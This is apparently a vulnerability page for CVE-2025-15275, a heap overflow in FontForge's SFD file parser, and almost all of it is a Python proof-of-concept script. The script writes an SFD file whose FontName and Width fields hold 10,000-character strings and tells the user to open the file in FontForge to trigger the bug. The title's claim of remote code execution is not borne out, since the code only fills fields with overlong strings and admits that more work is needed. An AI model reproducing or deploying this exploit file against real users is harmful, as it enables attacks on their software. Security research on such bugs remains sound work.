CVE-2025-15275 FontForge SFD文件解析堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-15275 PoC - FontForge SFD File Parsing Heap-based Buffer Overflow This PoC generates a malicious SFD file that triggers a heap buffer overflow when parsed by FontForge. WARNING: For educational and security research purposes only. Do not use this code for malicious activities. """ import struct import os def create_malicious_sfd(output_path): """ Generate a malicious SFD file that triggers heap buffer overflow in FontForge's SFD parsing functionality. """ # SFD file header sfd_content = "SplineFontDB: 3.0\n" # Font name section with overflow data # The vulnerability exists in parsing string lengths before copying to heap buffer overflow_string = "A" * 10000 # Excessive length to trigger overflow sfd_content += f"FontName: {overflow_string}\n" sfd_content += f"FullName: MaliciousFont\n" sfd_content += f"FamilyName: TestFamily\n" sfd_content += f"Weight: Medium\n" # Add spline count to make it look like valid font data sfd_content += "Splines: 100\n" # CharData section with additional overflow triggers sfd_content += f"BeginChars: 256 100\n" for i in range(10): sfd_content += f"StartChar: char{i}\n" sfd_content += f"Encoding: {i} {i} {i}\n" # Overflow in unicode encoding field sfd_content += f"UnicodeEnc: {0x41 + i}\n" sfd_content += f"Width: {overflow_string}\n" sfd_content += "EndChar\n" sfd_content += "EndChars\n" # Write the malicious SFD file with open(output_path, 'w', encoding='utf-8') as f: f.write(sfd_content) print(f"[+] Malicious SFD file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print(f"[+] Overflow string length: {len(overflow_string)}") def verify_sfd_structure(file_path): """Verify the generated SFD file has the expected structure.""" with open(file_path, 'r', encoding='utf-8') as f: content = f.read() print("\n[+] SFD File Structure Verification:") print(f" - Header: {content.split(chr(10))[0]}") print(f" - Contains FontName: {'FontName:' in content}") print(f" - Contains Splines: {'Splines:' in content}") print(f" - Contains BeginChars: {'BeginChars:' in content}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-15275 FontForge SFD Heap Overflow PoC Generator") print("=" * 60) output_file = "CVE-2025-15275_malicious.sfd" create_malicious_sfd(output_file) verify_sfd_structure(output_file) print("\n[!] Usage: Open this file with FontForge to trigger the vulnerability") print("[!] Note: Actual exploitation may require additional techniques")